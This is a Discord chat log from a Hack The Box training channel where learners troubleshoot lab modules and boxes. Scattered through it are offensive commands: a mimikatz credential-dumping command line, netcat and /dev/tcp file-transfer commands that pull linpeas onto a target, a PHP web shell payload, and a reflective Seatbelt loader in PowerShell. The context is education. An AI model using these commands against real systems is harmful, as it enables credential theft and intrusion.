#modules

1 messages Β· Page 287 of 1

atomic arch
#

p a l y

#

r o b l o x

cloud urchin
#

are you having a conversation with yourself?

rustic sage
next bronze
#

0x00000002

ERROR_FILE_NOT_FOUND

The system cannot find the file specified.

next bronze
#

yep

fathom pendant
#

that's quite enough @atomic arch lol

rustic sage
#

Did he get banned

fathom pendant
#

o7

cloud urchin
#

doesn't look like it

fathom pendant
#

muted more likely

#

as I saw a payloadbunny typing πŸ‘€

#

@cloud urchin just to make sure i'm understanding this right too; the minidump is reading from the file then subsequent commands related to it are trying to load from that file

next bronze
#

yes

fathom pendant
#

i don't recall needing to get lsass.dmp for mimikatz to dump passwords and such but I could be misremembering

cloud urchin
#

yeah i never saved it specifically as something like that

clever topaz
cloud urchin
#

i generally just use this command

clever topaz
#

Thanks love being in this community

cloud urchin
#

.\mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::secrets" "sekurlsa::logonpasswords full" "lsadump::secrets" "lsadump::sam"

next bronze
#

that section is specifically debug priv so it's slightly different

fathom pendant
acoustic owl
cloud urchin
#

lol good catch

#

i'll edit that

fathom pendant
#

i spend an unhealthy amount of time staring at screens

#

I can spot an error message or interesting info in a .5 second scroll

cloud urchin
#

i should try multidump sometime

cloud urchin
#

i do have that command in my notes though sekurlsa::minidump lsass.dmp

soft reef
#

Has anyone here finished the new API Attacks module?

cloud urchin
#

it could be he forgot to run mimikatz as admin this time, or mimikatz doesn't have permission to read from the folder it dumped to for some reason

acoustic owl
fathom pendant
#

@atomic arch no need to whine in my DMs

atomic arch
#

sorry

#

for everthing

cloud urchin
#

just straight dumping the lsass process might be easier

fathom pendant
#

also you need to ask before dming people

acoustic owl
fathom pendant
#

if you scroll up: "i didn't specify path, i saved it the the \win32 directory"

cloud urchin
#

ahh yeah

#

missed that

fathom pendant
#

gotta love windows errors 0x[error]

stray lava
#

Can someone teach me how to hack using only the phone and is this possible?

soft reef
cloud urchin
stray lava
cloud urchin
#

testing what

stray lava
cloud urchin
#

how does adding a grabifier link 'test the site'

#

seems more like you're trying to get ip addresses of people who click the link

acoustic owl
soft reef
stray lava
compact patrolBOT
next bronze
fathom pendant
next bronze
cloud urchin
#

unfortunately US doesn't have an extradition treaty with algeria

fathom pendant
acoustic owl
stray lava
#

Are there sites for creating links for hacking only when join it???

cloud urchin
#

i don't think you know what you're asking about. this discord is for the hackthebox platform, which is a website for education

acoustic owl
stray lava
#

okay

atomic arch
#

hey

fathom pendant
#

no

rare swan
#

Hi - where can i find machines/boxes related to a given module of cpts? - thx

fathom pendant
#

the academy x HTB Labs section

#

however be warned: the boxes will generally not be the scope of whatever you just learned

#

or will often only partially have to deal with what you just learned

sterile solstice
acoustic owl
sterile solstice
#

yea agreed. i did some boxes over the past 2 days (hitting a wall of motivation for more modules), and i found PermX not that bad! but then I did another 'easy' box that i found far far harder...

#

only needed minimal nudges but definitely feel im far off CPTS lol.

acoustic owl
#

In each of these videos, IppSec explains exactly how he proceeded. So it's definitely worth trying the box and watching the video afterwards. If you get stuck, you'll get tips on how to move forward. If you manage to complete the box, IppSec may show you another technique that you have never seen before.

sterile solstice
#

yea good idea. i was looking at the list today as I was feeling a bit overwhelmed. the modules are great! and i found the vectors, but was unsure how to exploit what I knew needed to be done. for 1 of them, it was info from a module not in CPTS (from CBBH). As makes me think I should take a few other modules (i.e. the python course, though I already know some. Helps with some privesc. etc etc).

but you just answered a question I was wondering about. am i just meant to follow along with IppSec? Will definitely followthat advice. im months off taking the exam though.

#

also, almost every box ive done has included a lot of web based stuff. it feels like a weakness. will be circling back on those modules for sure, lol.

wraith pelican
#

i find useful search the technique i want to explore by using ippsec website, even if i don't do the box, it is sometimes good to see a more informal way on a course topic https://ippsec.rocks/?#

sterile solstice
#

ohhhh nice

wraith pelican
boreal token
#

Could anybody assist me ,iam new to Hackthebox or even cybersecurity iam stuck at the question of " find out the machine hardware name".

wraith pelican
sterile solstice
sterile solstice
boreal token
#

The module box are on Linux fundamentals, it's the first question

wraith pelican
# sterile solstice yea definitely. ive also seen some walkthroughs which made zero sense and still ...

yeah, that's hard to search google without finding sploilers for active boxes. And also those videos tend to give of false sense of speed, i mean what we see is a representation of the attack path, not the struggles, researches that leads to it. Even though ippsec videos have quite a lot of rabbit holes and mistakes which is nice to see, but still if it takes one week to do a box alone, that's what it is. Same for the blood time, when i see user flag like in 16minutes.. i'm still running a nmap scan and getting a coffee after 16mins... haha

wraith pelican
sterile solstice
#

hahaha yea. and for some of the exploits ive seen ... i've wodnered 'how tf did they figure that out' ... obviously hours of randomly searching but its not shown in walkthroughs. and i took PermX seriously. Took my time to enum everything, go over my notes. i'm finding the web stuff to be a weakness right now tbh.

sterile solstice
#

go up a bit more and have a look at what flags would give you the machine hardware. or type ||uname -h|| to see all options from the command line

wraith pelican
sterile solstice
#

thats where i am right now, im 75% complete of the path and within the web areas. up to attacking common apps. then its privesc. though its not needed for CPTS, i think i'll go do the remaining modules for CBBH. just because a web entry is so necessary for boxes, and boxes will help with CPTS prep.

#

oh, and i agree with workflow. i need to improve. modules are great but need to put it all together. need to find my own methodology and improve my processes.

sterile solstice
boreal token
#

Iam just very much so much new to it

#

I've gotten prompt again

sterile solstice
#

thats alright. its daunting. i thought i was alright but ive learned a tone over the past month. im even thinking of going back to do Linux Fundamentals even though i used it back in highschool (many many years ago).

wraith pelican
sterile solstice
#

mate, we are on the same wavelength hahaha. i also know it would be overkill, and i hear over and over again that you need to 'think dumber' for the exam (avoid those rabbit holes). but i feel like web is my weakness, which is also why i had been thinking about doing portswigger as well! But while it would be overkill, if it helps me practice on boxes more i think it'll be worth it (the CBBH modules not necessary portswigger but im very intersted in that too)

#

hahaha yea, i was pumped for it. but then i saw 4days and i feel like i might need more. as opposed to AD attacks that is 7 but i used 4days for that. the sections/content in common apps looks extensive.

tawdry flume
#

HI! I got a q in regards to a box on academy. It is under the "Privilege Escalation" of the "Getting started" module

I am given credentials to login via ssh. I am logged in as user1, and I have to get to user2 & root. I am trying to get linpeas.sh, to scan for PrivEsc possibilities. I am trying to do that for the past 2h with netcat, but I cannot make it work

On my machine I run nc -v -l -p 54321 < /usr/share/peass/linpeas/linpeas.sh

On the box I run bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'

I am very, very sure that RHOST is set to my public ip and RPORT to 54321

Any ideas why it doesnt work? Is there a sort of block by my ISP?

sterile solstice
#

why are you using netcat to transfer files? python3 -m http.server 8000 on your own box is a better option IMO. or you can use ssh file transfer, using the scp command.

tawdry flume
#

Using it because that's what I found on GTFObins

candid lily
#

you can just do nc <ip> <port> < linpeas.sh on client and nc -lvnp <port> > linpeas.sh on server

sterile solstice
#

from a directory where you have linpeas.sh stored, run the above python command. then from the victim box run wget http://<YOUR IP>:8000/linpeas.sh

candid lily
#

with nc after transfering it wont exit automatically you have to quit with ctrl c

wraith pelican
sterile solstice
#

ah, right, GTFObins is good. the nc method looks like more effort than a http.server or scp attempt.

candid lily
#

http.server is best but sometimes wget or curl wont be available in that cases you can just use nc

sterile solstice
#

well, i was thinking of the bug/web pen route tbh. there is some potential work around in my field for that kind of skillset. though i find myself enjoying the more general CPTS type path than CWEE/CBBH

sterile solstice
wraith pelican
tawdry flume
#

public ip, because the box is on a public ip too. For Academy's small boxes u dont need a vpn

#

that's what I was also wondering at a beginning, I know that for the rest of the boxes in lab u need a vpn

#

tried with python3, it still doesnt want to connect 😦

sterile solstice
#

so by the looks of it, its not even reaching your own attack box. if it was, then you'd likely see a failed request from yuor http server

sterile solstice
#

even if you dont need a vpn for this, i would be running it anyway. i know for the exercises i did, i utilised the vpn connection (though for the XSS i had issues, which was either filtering from my ISP, or possibly my pi-hole/dns filter)

main halo
#

in all seriousness this seems like maybe a permission issue

sterile solstice
#

permissions? how so?

main halo
#

sudo vs non

sterile solstice
#

he's not connected to the VPN

main halo
#

sometimes when i use (example: vpn or http server) in order to run it and connect need sudo

sterile solstice
#

you need sudo to utilise reserved ports. port 8000 is outside of that.

main halo
#

its just a thought

wraith pelican
#

if there is ip:port vpn is not needed, but i wonder if you are supposed to transfer it, is linpeas not in a folder somewhere? can't even spawn the box at the moment

sterile solstice
#

he's already said he's using his public IP so its not an issue.

#

though i think he should use his VPN and not public IP

main halo
sterile solstice
#

thats something ive just learned, but still feels weird. i start the vpn when i start up my VM lol

tawdry flume
sterile solstice
#

weird..

rustic sage
tawdry flume
#

so yeah, I got to user2 (from user1, so lateral movement)
but have no clue how to get to root. One idea was the linpeas.sh, but cannot get it to transfer it. Maybe I shouldnt transfer it altogheter and it's something much easier

sterile solstice
#

i cant remember the specifics. but i usually do sudo -l soon after getting a shell

#

it will tell you what can be run as sudo, and hopefully its something that doesn't require a password, and even better if its on GTFObins with an exploit

tawdry flume
digital vessel
#

anybody willing to answer a question on https://academy.hackthebox.com/module/23/section/513 ((( Skills Assessment - File Inclusion ))) i got in i got to where you fuzz i got the access log i use burp.. and nothing i donno if i have enough or not enough ../ i have picture would like to pm so does not break rules pls ping me / reply so i know i got msg|

<?php system($_GET['cmd']); ?> it just ignores me

bright coral
sterile solstice
sterile solstice
#

lineas shows you those things too ... haha

digital vessel
#

lineas not linpeas ?

sterile solstice
#

nah, sorry, mistyped. linpeas

digital vessel
#

i wish i could get this fuzz question answered i got the answer cuz i looked itup the box itself WONT respond its driving me nuts

sterile solstice
digital vessel
sterile solstice
#

part of ||log poisoning|| is putting in that command into more than just the GET/POST headers. Something like ||user agent|| might be helpful to poison, then you should be able to use the php cmd shell.

digital vessel
#

agan i know the answer i even know the walkthough can i shoot you a SS @sterile solstice

sterile solstice
#

go for it

next bronze
#

finished Windows Lateral Movement except for the broken section, gotta say the skills assessment is up there being the most frustrating/PITA sections I've done

wispy lily
#

hi i want to get started on htb but i don't have a linux machine availale currently and i can't download a remote one. other websites use a webshell, does htb use something like this? if so how do i connect?

acoustic owl
wispy lily
#

Ah right but you only get a small time on the free plan, is there anything else?

sterile solstice
#

i use Oracle VirtualBox and downloaded the recommended Parrot OS Security Edition

digital vessel
#

turns out i is not stoopid yay ^..^ i guess i just keep getting broken boxes

wet aspen
#

i having a problem with running a kernel exploit for 4.15.0-76-generic

#

all of are .sh scripts i found using searchexploit

#

but non of them are running properly

digital vessel
# wet aspen but non of them are running properly

when i was doing the mod for general metasploit i had a similar issue and it turns out i was using the wrong exploit. might double check that make SURE you know what your using is right, then double check the vpn normally its the simple mistakes that screw ya over

wet aspen
#

tried everything correctly still not working

digital vessel
#

ya auto mod is gonna keep removing that xD

#

try using ` marks

#

like this

wet aspen
#

bruh

digital vessel
#

i have done tis 2 times now i spent 12 hours working on a box got new vpn/box and was done in 1 min flat box was broken no error codes no sign of broken

just doday with file inclusion im doing it right but the box will not respond no matter what i do i double checked with another member even had him test it same deal. it happens.

#

its GREMLINS trust me they break dns and boxes

#

gl im going to bed

sterile solstice
wispy lily
#

hi so i downloaded ubuntu do i connect using openvpn from my virtual machine or my physical machine?

normal sand
#

Why is it when I used bloodhound to check for machines and servers my user can RDP to, it doesn't show anything? I know my domain user can RDP to multiple machines but it doesn't show.

main halo
obtuse haven
#

i think there is a bug in Attacking Common Services - Medium box

#

i was able to get the flag in a way that feels unintended

normal sand
obtuse haven
normal sand
#

Is this ^ supposed to be normal when using a collector for bloodhound?

muted jacinth
#

hey. i have a question about the introduction to windows evasion techniques.
i have been building the ps1 module however i still get the error displayed in the lesson. i can't really figure out why

#

function Invoke-Seatbelt {
[CmdletBinding()]
Param (
[String]
$args = " "
)

# Seatbelt.exe -> Gzip -> Base64

$gzipB64 = "<snip>"

Base64 decode

$gzipBytes = [Convert]::FromBase64String($gzipB64);

Gzip decompress

$gzipMemoryStream = New-Object IO.MemoryStream(, $gzipBytes);
$gzipStream = New-Object System.IO.Compression.GzipStream($gzipMemoryStream, [IO.Compression.CompressionMode]::Decompress);
$seatbeltMemoryStream = New-Object System.IO.MemoryStream;
$gzipStream.CopyTo($seatbeltMemoryStream);

Load assembly reflectively

$seatbeltArray = $seatbeltMemoryStream.ToArray();
$seatbelt = [System.Reflection.Assembly]::Load($seatbeltArray);

Redirect assembly STDOUT to console

$OldConsoleOut = Console::Out;
$StringWriter = New-Object IO.StringWriter;
Console::SetOut($StringWriter);

Call main method

[Seatbelt.Program]::Main($args.Split(" "));

Reset STDOUT

$Results = $StringWriter.ToString();
$Results;

}

Invoke-Seatbelt

here is my code, i don't understand why it will load but won't work

shell pivot
#

Hey ,it's Sonfire here. Just wanted to share some valuable knowledge and insights on what I had found valuable recently:

First: When wanting to get into Cyber security, think about why you want to get into it. It could be many different reasons, ranging from curiosity of what it really means to be a hacker, curiousity on how to hack and curiousity on how things work and how they can be exploited.

You see a pattern there don't you? It's "curiousity", curiousity is a valuable resource you are born with, something that drives humanity to keep thriving.
Who Invented Electricity? Someone who was curious, who invented the wheel, someone who was curious.
Curiousity is magic and you should always be curious.

In this field, curiousity is 1 of the two things you should grow on and expertise on. The other is ones own methodology. Where do you start and where do you go from there and continue combining the two, curiousity with your methodology to finalize the end result you wish to have.

2: You have the chance to save others, gain respect and grow your reputation. Reputation is built, but also can be destroyed. If one day you get a job, an employer will of course do some digging into your past and try to find everything you have done, Including the bad, and the good. Keep your plate clean. Don't eat a messy BBQ on a clean plate, there will be markings. Everything is traceable.

3: Dont let your ego get Infront of your true potential, your potential is what should always be grown, Infront of everything and ready to be used.

If you read this message, just a reminder, you are someone who was given life too, don't waste it, use it and keep using even when your goals are met. ❣️

rustic sage
#

πŸ‘€

muted jacinth
#

nevermind I am a moron

normal sand
# normal sand

I tried running the SharpHound collector from a domain-joined windows workstation and got no such errors. It's just when I run the command from the Linux attack host provided.

sudo bloodhound-python -u '<username>' -p '<password>' -ns 172.16.7.3 -d inlanefreight.local -c all 
wraith pelican
normal sand
#

I just checked and I'm able to view which computers a user is local admin on, however, it's clear that the data isn't properly collected when using the Linux command I posted earlier πŸ˜•

#

Does the bloodhound-python collector just not work properly? Can someone test it out on the AD Enumeration & Attacks module > Skill Assessment Part II section and let me know if they're getting the "since it could not be resolved" error as well?

#

Also, separate question, which Inveigh should I be using?

wraith pelican
normal sand
wraith pelican
#

i did get them

#

but first it says connecting to dc01 or something like that

normal sand
wraith pelican
normal sand
wraith pelican
#

seeing the list it seems that is just the fake computers in the domain database

next bronze
#

those errors just mean the hosts exists in the domain records but cannot be reached

normal sand
wraith pelican
#

maybe that's the reason:

normal sand
next bronze
#

bh py should work even if some hosts can't be resolved

normal sand
#

Local admin enumeration doesn't work 😒

next bronze
#

I don't think any of the collectors checks that

wraith pelican
normal sand
#

So Bloodhound CE is the one that runs in docker?

next bronze
#

yeah

next bronze
normal sand
#

Module: AD Enumeration & Attacks
Section: Skills Assessment Part II

This question is kind of a spoiler. I have not included any answers tho.

|| So in latter half of this assessment, we're required to run Inveigh from a workstation (SQL01) on which we've obtained local admin access in order to discover a user and their hash.

In the beginning of this assessment we had to run responder from the Linux attack host we were provided in order to discover the first domain user.

I don't get it, why didn't this other user show in the beginning? I'm assuming the workstation and the privilege with which we run Responder/Inveigh matters? ||

normal sand
wraith pelican
#

sharphound has the option collection method LocalAdmin, and i checked bloodhound-python does as well, so you could try -c LocalAdmin from linux

normal sand
next bronze
normal sand
normal sand
normal sand
# next bronze https://discord.com/channels/473760315293696010/774040263278592041/1242127122928...

That's my other question. Also, I get that LLMNR/NBT-NS Poisoning poisons the broadcast and captures the response and that's how it gets the hash. I just don't understand why the workstation we run it from or the level of privilege we use matters?

Okay, maybe I understand that privilege matters cuz it may limit some service functionality, but I don't get why the workstation I run it from matters if both workstations are on the same network.

#

Or is this a tool limitation case? Inveigh being able to do something responder is not and so it's able to capture the other user as well?

next bronze
#

you mean the second capture? to capture a ntlm you need port 135/445 access which requires admin rights

normal sand
next bronze
#

because it's a direct connection to that host, not your linux host

pseudo kiln
#

I am doing the AD asessement 1 and after the first pivot with ligolo the commands take forever to execute. Like I requested mimikatz to dump LSASS and I have been watching the CLI slowly render the text for longer than 10 minutes. Is this how it's supposed to be ?

normal sand
next bronze
normal sand
next bronze
#

yep it's like when you captured someone tried to access a file on ms01

#

whether you want to try on every host is up to you

normal sand
#

Btw in the module it says that the PowerShell version of Inveigh is no longer maintained and that the C# version (InveighZero) is the latest. It's fine to still use the PowerShell version tho, right? I checked the C# version, but not sure which to download Kappa

next bronze
#

just use whatever works

normal sand
queen ore
#

Does anyone else have issues connecting to some of the target machines that have specific port numbers? I use my own VM locally instead of the pwnbox, anyone know what's wrong? I saw something about Docker

pseudo kiln
next bronze
pseudo kiln
#

that makes sense, thanks

pseudo kiln
#

any ideas why I cannot run this ?

RDP, psexec etc to the target works

wraith pelican
tardy aurora
#

Hello

pseudo kiln
atomic arch
#

.

runic depot
#

anyone else have the web archives module broken

#

cpts^

acoustic owl
oak girder
#

Hello everyone, I would like to ask. The first picture is from the textbook, and the second picture is a picture of the target drone, but there are no available updates. Can someone answer it for me? Thank you, about Drupal (Note: Location may differ based on the Drupal version and may be under the Extend menu.) He has this tip, but I still haven't found it

runic depot
#

just try the first question without pwnbox - https://web.archive.org/ How many Pen Testing Labs did HackTheBox have on the 8th August 2018? Answer with an integer, eg 1234.

fathom pendant
oak girder
#

Another problem is that I wrote the PHP code, but it kept failing to save. Writing 12 worked.

acoustic owl
#

HTB did not use .com back then πŸ˜‰

runic depot
trail sail
old oasis
oak girder
old oasis
#

alternatively you can use turbo intruder extension

trail sail
#

Oh thanks. I am new to this sorry. My bad.

oak girder
#

This is my status report

oak girder
#

I still haven't found (+ Install new module button) where this place is,I'm really sorry.

wraith pelican
oak girder
#

Thank you, this is a generated instance. I entered according to the path but didn't seem to find it.

wraith pelican
#

I'm not connected to the drupal site, but I see that in my notes:
Once downloaded go to Administration > Reports > Available updates.
Note: Location may differ based on the Drupal version and may be under the Extend menu.

stiff moon
#

anyone else having this today? just loading and loading and nothing hapens. been like this for the past 1-2 hours.

limber river
#

@next bronze yoo , how was windows lateral movement ?

stiff moon
wraith pelican
rustic sage
#

refreshing the page might help.

#

πŸ˜„

stiff moon
#

but i might have fixed it now

rustic sage
#

Oh?

stiff moon
#

not sure yet since its loding now again

#

it went back to normal and i started the target etc. so will wait a min to see if it really working

stiff moon
next bronze
rustic sage
next bronze
stiff moon
#

weird thing is that i can start a target on a diff page on the same module (module im on is Intro to C2 Operations with Sliver)

next bronze
#

ah rip that's the one t3 module that I'm not doing

limber river
cloud urchin
#

ADCS is a great module

next bronze
#

adcs is very good

cloud urchin
#

one of the best imo

limber river
#

yeah I just need sometime to finish it

cloud urchin
#

ADCS let me pwn my company in 5 mins kek

limber river
#

lol

#

ur company is so ruined then

cloud urchin
#

name one that isn't lol

stiff moon
#

NOW IT WORKS

#

finally

cerulean grail
#

In the "Footprinting Oracle TNS" module in the pentester job path - how am I supposed to understand that the user has elevated privileges (SYSDBS)? As far as I can tell, there's nothing that specifies it even after I log in as the user normally and it's just randomly trying to connect as "sysdba" and hoping it works. What am I missing here?

rustic sage
wraith pelican
oak girder
#

Sorry, I don't see no updates available

wraith pelican
steady dust
oak girder
#

Thank you very much. Can I add you as a friend?

cerulean grail
oak girder
#

Thanks, this saves me a lot of detours

cerulean grail
#

Here are the queries I ran - the first gives an output of "2" indicating that it failed to return any data, and the tw other queries return an error

#

These commands are as per the module itself, and I was able to log in as "sysdba" for the user "scott", but I'm not understanding how I could have possibly known that

cloud urchin
#

sysdba isn't a user, it's a privilege

steady dust
#

Here, the user scott has no administrative privileges. However, we can try using this account to log in as the System Database Admin (sysdba), giving us higher privileges.

#

As the text say... "we can try". πŸ˜€

cerulean grail
steady dust
cloud urchin
#

you can simply try with the user you have access with. or you can view the list of users who have been granted sysdba via V$PWFILE_USERS

#
SELECT * FROM DBA_SYS_PRIVS WHERE PRIVILEGE = 'SYSDBA';
SELECT * FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE = 'SYSDBA';
``` i think any one of these can show it, at least according to chatgpt
cerulean grail
cerulean grail
next bronze
#

how's that odd? many things you won't know until you've tried it

cerulean grail
cloud urchin
#

maybe try ```SELECT * FROM ALL_SYS_PRIVS WHERE GRANTEE = 'SCOTT';

#

or alternatively, just try it with the user you have compromised.

steady dust
cloud urchin
#

are you in the correct database?

#

that contains that table?

steady dust
#

Either the user doesn't have privileges needed to see the table, the table doesn't exist or you are running the query in the wrong schema

cloud urchin
#

yeah ^ i said all that

steady dust
#

Most probably you don't have the right priv

cerulean grail
#

To my understanding there's just one database and I've connected to one of it's instances using the SID I managed to brute-force

cloud urchin
#

the sql fundamentals module would be great for this

#

this might work SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;

wary plover
cloud urchin
#

yeah he'd have to look it up then

#

he already has the answers though

cerulean grail
cloud urchin
#

bottom line is it's not like you're going to have a giant list of users that will take ages to check. maybe like 1-3 users at most and you can just check each one individually to see if they have privs

cerulean grail
cloud urchin
#

yeah i mean that'd be pretty crazy, but i don't think you'll encounter that on the htb platform

fossil crescent
#

Anyone have issues with the NTLM Relay Attacks->NTLM Cross-protocol Relay Attacks: Use Responder to capture SMTP credentials. What is the cleartext password for the username 'smtptest'? I reverted the environment and still not having success.

next bronze
#

just run responder and you should see it

#

use -v so it will show previoustly captured creds

fossil crescent
next bronze
#

it should be pretty fast, let me check

fossil crescent
next bronze
fossil crescent
fathom pendant
jolly raptor
#

Could someone help on the getting started module, currently on the section where i have to find a public exploit however I'm stuck. I cannot gobuster the IP to get more information

jolly raptor
#

to find different directories

#

the exploit requires a path to get to flag.txt

#

however I don't know the path

fathom pendant
stark lark
#

^

fathom pendant
#

Once you see it it becomes simple

jolly raptor
#

unless I'm really stupid I don't see it

#

I understand theres an exploit for the Simple Backup plugin

#

searchsploit is giving me this txt file to look at - php/webapps/51937.txt

#

would i find this in my file system somewhere or in browser?

steady dust
#

nvm, vpm issues

fathom pendant
#

Alternatively, do it with msfconsole

fathom pendant
jolly raptor
#

thank you, got the text file however it didn't lead me to much

fathom pendant
#

Read it

#

You'll need to modify the command to suit your situation

jolly raptor
#

okay so modify the command using metapsloit?

#

or modify the text file, I'm awful at code so this is a bit of a jamble for me

fathom pendant
#

The text file contains a curl command to copy/paste

#

With msfconsole you just set a few options and it just works.tm

jolly raptor
#

I apologise this is going over my head

#

I'm not seeing any curl command

fathom pendant
#

The .txt file?

jolly raptor
#

yeah

fathom pendant
#

Hold on

#

Yeah it'll be simpler to use msfconsole

jolly raptor
#

gotcha

wraith pelican
jolly raptor
#

ah okay, are you able to explain what the WP-PATH bit is?

#

for downloading a backup file

fathom pendant
#

It's the path to the WordPress portion of the site

#

Imo just use msfconsole

#

It'll be quicker and doesn't require extensive knowledge

#

In which case you skip that

wraith pelican
#

i also vote for msfconsole

jolly raptor
#

I've tried both ways

#

Currently getting the TARGETURI not validated error

#

if this is the getting started module I'm finished lmao

#

would hate to see how stuck I am on later modules

fathom pendant
#

Also are you using the arbitrary file exploit or a different one

#

Also filepath needs to be changed

wraith pelican
#

i mean there is much to say on each of your question. Just pause a bit and think, breathe i dont know : )
you enter target uri with port and then you specify port 80 on RPORT, that can't work

jolly raptor
#

so should RPORT be the same port as the url port im guessing

fathom pendant
#

RHOST; target IP
RPORT; target port {default 80}

jolly raptor
#

any idea on what the filepath needs to be changed to? I understand I need to find the flag.txt file however I don't know the path for that

fathom pendant
#

Read the question carefully

#

It explicitly tells you

#

πŸ˜‰

stark lark
#

Anyone? D:

fathom pendant
#

But also the URI is wrong

jolly raptor
#

I changed the URI to /

fathom pendant
#

I'm gonna be honest I didn't read this bc it's not formatted and I don't want to parse a wall of text

jolly raptor
#

which was default

fathom pendant
#

Now did you figure the filepath out?

#

@stark lark put ``` before and after your output

#

Forces it to be formatted in code block

#

Also makes it easier to read

jolly raptor
#

oh wow

stark lark
#

Yup usually I do that but forgot. One sec.

jolly raptor
#

i am honestly an idiot

fathom pendant
#

You also just pasted a wall of text with barely any info

#

I also didn't need to use perl

#

The smtp-user-enum script was ready to go on my machine with no problems

jolly raptor
wraith pelican
jolly raptor
#

yeah, I'm just a bit slow i think haha

fathom pendant
#

If it looks complex, there's usually a simpler way

jolly raptor
#

appreciate all the help, onto the next part of the module πŸ™‚

#

tbh the msfconsole config was wrong which was just me being stupid, the filepath i just needed to read

fathom pendant
stark lark
#

Attacking Common Services -> Easy Lab

I've tried the following for each port/service.

21/tcp   open  ftp
- hydra -L ../users.list -P ../passwords.list ftp://10.129.210.76 

25/tcp   open  smtp
- perl smtp-user-enum.pl -M RCPT -U ../users.list -D inlanefreight.htb -t 10.129.210.76
- hydra -L users.list -P password.list -f 10.129.210.76 smtp

sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.210.76

80/443 tcp   open  http
- Enumerated the website and it found that the service should have multiple security misconfigurations/default passwords, none of which have worked for me.

587/tcp  open  submission
- perl smtp-user-enum.pl -M RCPT -U users.list -D inlanefreight.htb -t 10.129.203.7

3306/tcp open  mysql
- sudo nmap 10.129.210.76 -sV -sC -p3306 --script mysql*
- mysql -u root -h 10.129.203.7

3389/tcp open  ms-wbt-server
nmap -sV -sC 10.129.210.76 -p3389 --script rdp*```
stark lark
fathom pendant
stark lark
fathom pendant
#

Yes

#

Smtp can be slow to respond

#

It's not

#

Also spoiler

stark lark
#

But that username is not in the provided list i believe

#

or I'm using the wrong oneπŸ’€

fathom pendant
#

User@domain

#

Ftp will be your next step

#

Just remove the @domain

hexed kestrel
#

Heya, need some help with the first exercise of the skills assessment of the "using web proxies" module.

The first exercise is the following: The /lucky.php page has a button that appears to be disabled. Try to enable the button, and then click it to get the flag.

I have enabled the button, and upon clicking it it sends a packet with a couple headers and the following data: getflag=true
when i pass this it returns the /lucky.php page again and doesn't give me a flag. what am i doing wrong?

boreal token
#

Hey any assistance on how to run module machine on my Linux machine

swift carbon
hexed kestrel
# swift carbon haven't done this module but my initial thought is to intercept the server respo...

nope. server response is the exact same as what you would get from reloading the page.

<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>I'm feeling lucky!</title>
    <link rel="stylesheet" href="./style.css">
</head>

<body>
    <form name='getflag' class='form' method='post' id='form1'>
        <button class='btn block-cube block-cube-hover' id='submit' type='submit' formmethod='post' name='getflag' value='true' disabled>
            <div class='bg-top'>
                <div class='bg-inner'></div>
            </div>
            <div class='bg-right'>
                <div class='bg-inner'></div>
            </div>
            <div class='bg'>
                <div class='bg-inner'></div>
            </div>
            <div class='text'>
                Click for a chance to win a flag!
            </div>
        </button>
    </form>
</body>

</html>```

this is what i recieve back from the server
#

with the button disabled again ^^

west canopy
hexed kestrel
#

oh so i guess the "lucky.php" thing actually refers to it needing luck? lol

cloud urchin
#

yeah. i just enabled the button and spammed it a bunch to get the flag.

hexed kestrel
#

lmao okay, thanks

wary plover
#

3 backticks ```

hexed kestrel
#

ah. i was confused why a single backtick wasn't working. thanks

#

got the flag now. thanks for the help

stiff moon
#

anyone that can help me on the last question on Skills Assessment for the module Intro to C2 Operations with Sliver???
im a bit stuck

west canopy
stiff moon
tender nimbus
#

quick question, i'm still learning about cybersec on htb, when should i know when im ready to try my first machine?

terse zinc
#

I need help
I just accidentally bought gold annual subscription (1260 usd) on htb academy. I already had student monthly subscription and i was just exploring different plans. As i clicked on the purchase option it automatically subscribed to it and 1260 usd were deducted from my account.
How do i get a refund?? And will i even get a refund back?

fathom pendant
compact patrolBOT
fathom pendant
#

green bubble on academy; bottom right

#

if you don't see it --disable adblock

terse zinc
#

I contacted that green bubble and got a reply saying to wait up until monday. I mean would i even get a refund?

fathom pendant
#

they're generally lenient

#

they do have support over the weekend but it's at a lower capacity; it's currently ~12AM where HQ is located so likely the main crew that works weekend shift is offline

#

ntm it's the weekend, any refund would have to wait for next businessday at earliest in most cases

#

I think their billing support is Mon-Fri no weekends

terse zinc
#

Alright, i am really nervous i hope i get a refund coz thats my 1 year savings in the country where i live

fathom pendant
#

yeah, but nothing can be done on the discord for you

terse zinc
#

Yh i was just looking if anyone else had experienced a similar situation

fathom pendant
#

support doesn't monitor the discord, and they'd request you to open a ticket on the platform anyway

#

i've heard people in similar situations get refunded

terse zinc
#

Oh thats great then

fathom pendant
#

and of those people have confirmed issue resolved

ocean night
#

@terse zinc DM me your Academy ID / email address

terse zinc
#

@ocean night sure

#

@ocean night check your dm

ocean night
#

I've provided you with a full refund. Please update the support ticket you raised to ensure they are aware this has already been actioned. It can take up to 2-5 working days for the refund to be received.

terse zinc
#

Sure, thank you so much

ocean night
#

πŸ‘

bright sparrow
#

i need some help so i had a acc from 2021 i dont remember the email any more

#

i try discord support but they didnt do anything they said we cant give anything out. i think i know the email but i am not sure

wary plover
dim wolf
#

unfortunately we can't help with that. you will have to ask support or find your email

#

if it's an HTB account, i would ask HTB support

turbid hedge
#

Anyone available ? got a question concerning zone transfers in INFORMATION GATHERING - WEB EDITION

fathom pendant
turbid hedge
#

well the question is After performing a zone transfer for the domain inlanefreight.htb on the target system, how many DNS records are retrieved from the target system's name server? Provide your answer as an integer, e.g, 123.

#

I spawned the target ip added it to /etc/hosts and ran
dig @spawned-ip inlanefreight.htb AXFR

#

didn't return anything

#

;; Connection to 10.129.42.195#53(10.129.42.195) for inlanefreight.htb failed: timed out. ;; no servers could be reached

#

im probably doing something wrong but i couldn't figure out what

signal bane
#

does anyone know if i need a external wifi adapter to switch my kali to wlan0 instead of eth0?

#

or is there anyway to do this without needing to buy a wifi adapater im using virtualbox vm

turbid hedge
#

if you're using it, say for airmon-ng for example yes u need an external adapter vbox can't access hardware directly so u won't be able to start monitor mode for example

signal bane
#

ahhhh okay thanku fml

signal bane
turbid hedge
#

i don't hink it's possible if u're running a virtual machine

signal bane
#

damnn okay

turbid hedge
#

whether u are on vbox vmware ect u do need an adapter

signal bane
#

got it thanks

#

appreciate the help

turbid hedge
#

